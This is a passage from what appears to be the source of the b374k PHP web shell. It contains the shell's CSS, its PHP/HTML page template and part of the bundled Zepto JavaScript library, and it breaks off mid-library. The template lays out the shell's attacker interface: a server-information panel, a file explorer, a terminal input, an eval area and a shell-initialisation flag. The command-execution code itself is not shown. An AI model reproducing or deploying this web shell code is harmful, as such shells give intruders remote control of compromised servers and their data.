m3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format(\'woff\');\nfont-weight: normal;\nfont-style: normal;}*{\nfont-family:ubuntumono;\nmargin:0;\npadding:0;\nborder:0;\n-webkit-box-sizing:border-box;\n-moz-box-sizing:border-box;\nbox-sizing:border-box;\nfont-size:12px;\nfont-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{\noutline:none;}html, body{\nwidth:100%;\nheight:100%;\ncolor:#222222;}body{\nbackground:#f0f0f0;\nline-height:17px;}a{\ntext-decoration:none;\ncolor:#000000;}a:hover{\ncursor:pointer;}p{\npadding:8px 0;}img{\nvertical-align:middle;}table{\nwidth:100%;}table td, table th{\nvertical-align:middle;\npadding:8px;}textarea, input, select{\nbackground:#ffffff;\npadding:8px;\nborder-radius:8px;\ncolor:#111111;\nborder:1px solid #dddddd;}textarea{\nresize:vertical;\nwidth:100%;\nheight:300px;\nmin-height:300px;\nmax-width:100%;\nmin-width:100%;}hr{\nmargin:8px 0;\nborder-bottom:1px dashed #dddddd;}video{\nwidth:100%;\nbackground:#222222;\nborder-radius:8px;}h1, h2{\nbackground:#E7E7E7;\nborder-bottom: 1px solid #cccccc;\ncolor:#000000;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;\npadding:8px;\nmargin-bottom:8px;}h1 a, h2 a{\ncolor:#000000;}pre, #viewFilecontent{\nword-break:break-all;\nword-wrap:break-word;}pre{\nwhite-space:pre-wrap;}#b374k{\ncursor:pointer;}#header{\nwidth:100%;\nposition:fixed;}#headerNav{\npadding:10px 8px 6px 8px;\nbackground:#333333;}#headerNav img{\nmargin:0 4px;}#headerNav a{\ncolor:#efefef;}#menu{\nbackground:#7C94A8;\nheight:33px;\nborder-bottom:3px solid #CCCFD1;}#menu .menuitem{\npadding:7px 12px 6px 12px;\nfloat:left;\nheight:30px;\nbackground:#7C94A8;\ncolor:#ffffff;\ncursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{\nbackground:#768999;\ncolor:#ffffff;}#menu .menuitemSelected{\nbackground:#768999;}#basicInfo{\nwidth:100%;\npadding:8px;\nborder-bottom:1px dashed #dddddd;}#content{\nbackground:#f0f0f0;\nheight:100%;\npadding:66px 8px 8px 8px;}#content .menucontent{\nbackground:#f0f0f0;\nclear:both;\ndisplay:none;\npadding:8px;\noverflow-x:auto;\noverflow-y:hidden;}#logout{\nfloat:right;\npadding:0 8px 0 0;}#overlay{\nposition:fixed;\ntop:0px;\nleft:0px;\nwidth:100%;\nheight:100%;\ndisplay:none;}#loading{\nwidth:64px;\nheight:64px;\nbackground:#7C94A8;\nborder-radius:32px 0 32px 0;\nmargin:auto;\nvertical-align:middle;}#ulDragNDrop{\npadding:32px 0;\ntext-align:center;\nbackground:#7C94A8;\nborder-radius:8px;\ncolor:#ebebeb;}#form{\ndisplay:none;}#devTitle{\nbackground:#ebebeb;}.box{\nmin-width:50%;\nborder:1px solid #dddddd;\npadding:8px 8px 0 8px;\nborder-radius:8px;\nposition:fixed;\nbackground:#ebebeb;\nopacity:1;\nbox-shadow:1px 1px 25px #150f0f;\nopacity:0.98;}.boxtitle{\nbackground:#dddddd;\nborder: 1px solid #cccccc;\ncolor:#000000;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;}.boxtitle a, .boxtitle a:hover{\ncolor:#000000;}.boxcontent{\npadding:2px 0 2px 0;}.boxresult{\npadding:4px 10px 6px 10px;\nborder-top:1px solid #dddddd;\nmargin-top:4px;\ntext-align:center;}.boxtbl{\nborder:1px solid #dddddd;\nborder-radius:8px;\npadding-bottom:8px;\nbackground:#ebebeb;}.boxtbl td{\nvertical-align:middle;\npadding:8px 15px;\nborder-bottom:1px dashed #dddddd;}.boxtbl input, .boxtbl select, .boxtbl .button{\nwidth:100%;}.boxlabel{\ntext-align: center;\nborder-bottom:1px solid #dddddd;\npadding-bottom:8px;}.boxclose{\nbackground:#222222;\ncolor:#ffffff;\npadding:2px;\nmargin-right:8px;\npadding:1px 6px;\ncursor:pointer;\nborder-radius:4px;}.strong{\ncolor:#7C94A8;\ntext-shadow:0px 0px 1px #C0DCF5;}.weak{\ncolor:#666666;}.button{\nmin-width:120px;\nwidth:120px;\nmargin:2px;\ncolor:#ffffff;\nbackground:#7C94A8;\nborder:none;\npadding:8px;\nborder-radius:8px;\ndisplay:block;\ntext-align:center;\nfloat:left;\ncursor:pointer;}.button:hover, #ulDragNDrop:hover{\nbackground:#768999;}.floatLeft{\nfloat:left;}.floatRight{\nfloat:right;}.colFit{\nwidth:1px;\nwhite-space:nowrap;}.colSpan{\nwidth:100%;}.border{\nborder:1px solid #dddddd;\nbackground:#ebebeb;\nborder-radius:8px;\npadding:8px;}.borderbottom{\nborder-bottom:1px dashed #dddddd;}.borderright{\nborder-right:1px dashed #dddddd;}.borderleft{\nborder-left:1px dashed #dddddd;}.hr td{\nborder-bottom:1px dashed #dddddd;}.cBox, .cBoxAll{\nwidth:10px;\nheight:10px;\nborder:1px solid #7C94A8;\nborder-radius:5px;\nmargin:auto;\nfloat:left;\nmargin:3px 6px 2px 6px;\ncursor:pointer;}.cBoxSelected{\nbackground:#7C94A8;}.action, .actionfolder, .actiondot{\ncursor:pointer;}.phpError{\npadding:8px;\nmargin:8px 0;\ntext-align:center;}.dataView td, .dataView th, #viewFile td{\nvertical-align:top;\nborder-bottom:1px dashed #dddddd;}.dataView tbody tr:hover{\nbackground:#ebebeb;}.dataView th{\nvertical-align:middle;\nborder-bottom:0;\nbackground:#e0e0e0;}.dataView tfoot td{\nvertical-align:middle;}.dataView .col-cbox{\ntext-align:center;\nwidth:20px;}.dataView .col-size{\nwidth:70px;}#xplTable tr>td:nth-child(3){\ntext-align:left;}#xplTable tr>td:nth-child(4),#xplTable tr>td:nth-child(5),#xplTable tr>td:nth-child(6){\ntext-align:center;}.dataView .col-owner{\nwidth:140px;\nmin-width:140px;\ntext-align:center;}.dataView .col-perms{\nwidth:80px;\ntext-align:center;}.dataView .col-modified{\nwidth:150px;\ntext-align:center;}.sortable th{\ncursor:pointer;}#xplTable td{\nwhite-space:nowrap;}#viewFile td{\ntext-align:left;}#viewFilecontent{\npadding:8px;\nborder:1px solid #dddddd;\nborder-radius:8px;}#terminalPrompt td{\npadding:0;}#terminalInput{\nbackground:none;\nborder:none;\npadding:0;\nwidth:100%;}#evalAdditional{\ndisplay:none;}.hl_default{\ncolor:#517797;}.hl_keyword{\ncolor:#00BB00;}.hl_string{\ncolor:#000000;}.hl_html{\ncolor:#CE5403;}.hl_comment{\ncolor:#7F9F7F;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom{background:url(\'<?php echo get_resource(\'arrow\');?>\');width:32px;height:32px;opacity:0.30;margin:18px 0;}#totop:hover,#tobottom:hover{opacity:0.80;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}</style>\n</head>\n<body>\n<!--wrapper start-->\n<div id=\'wrapper\'>\n<!--header start-->\n<div id=\'header\'>\n<!--header info start-->\n<div id=\'headerNav\'>\n<span><a onclick="set_cookie(\'cwd\', \'\');" href=\'<?php echo get_self(); ?>\'><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\']?></a></span>\n<img onclick=\'viewfileorfolder();\' id=\'b374k\' src=\'<?php echo get_resource(\'b374k\');?>\' /><span id=\'nav\'>&nbsp;<?php echo $nav; ?></span>\n<a id=\'logout\'>log out</a>\n</div>\n<!--header info end-->\n<!--menu start-->\n<div id=\'menu\'>\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "<a class=\'menuitem\' id=\'menu".$GLOBALS[\'module\'][$k][\'id\']."\' href=\'#!".$GLOBALS[\'module\'][$k][\'id\']."\'>".$GLOBALS[\'module\'][$k][\'title\']."</a>";}?>\n</div>\n<!--menu end-->\n</div>\n<!--header end-->\n<!--content start-->\n<div id=\'content\'>\n<!--server info start-->\n<div id=\'basicInfo\'>\n<?php\necho $error_html;\nforeach(get_server_info() as $k=>$v){\necho "<div>".$v."</div>";}?>\n</div>\n<!--server info end-->\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\n$content = $GLOBALS[\'module\'][$k][\'content\'];\necho "<div class=\'menucontent\' id=\'".$GLOBALS[\'module\'][$k][\'id\']."\'>".$content."</div>";}?>\n</div>\n<!--content end-->\n</div>\n<!--wrapper end-->\n<div id=\'navigation\'>\n<div id=\'totop\'></div>\n<div id=\'tobottom\'></div>\n</div>\n<table id="overlay"><tr><td><div id="loading" ondblclick=\'loading_stop();\'></div></td></tr></table>\n<form action=\'<?php echo get_self(); ?>\' method=\'post\' id=\'form\' target=\'_blank\'></form>\n<!--script start-->\n<script type=\'text/javascript\'>\nvar targeturl = \'<?php echo get_self(); ?>\';\nvar module_to_load = \'<?php echo implode(",", $GLOBALS[\'module_to_load\']);?>\';\nvar win = <?php echo (is_win())?\'true\':\'false\';?>;\nvar init_shell = true;\n/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */\nvar Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\\\s)"+a+"(\\\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\\[\\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\\s*<(\\w+|!)[^>]*>/,m=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\\.([\\w-]+)$/,x=/^#([\\w-]*)$/,y=/^[\\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)||a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?this.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus","blur"].forEach(function(b){a.fn[b]=function(a){return 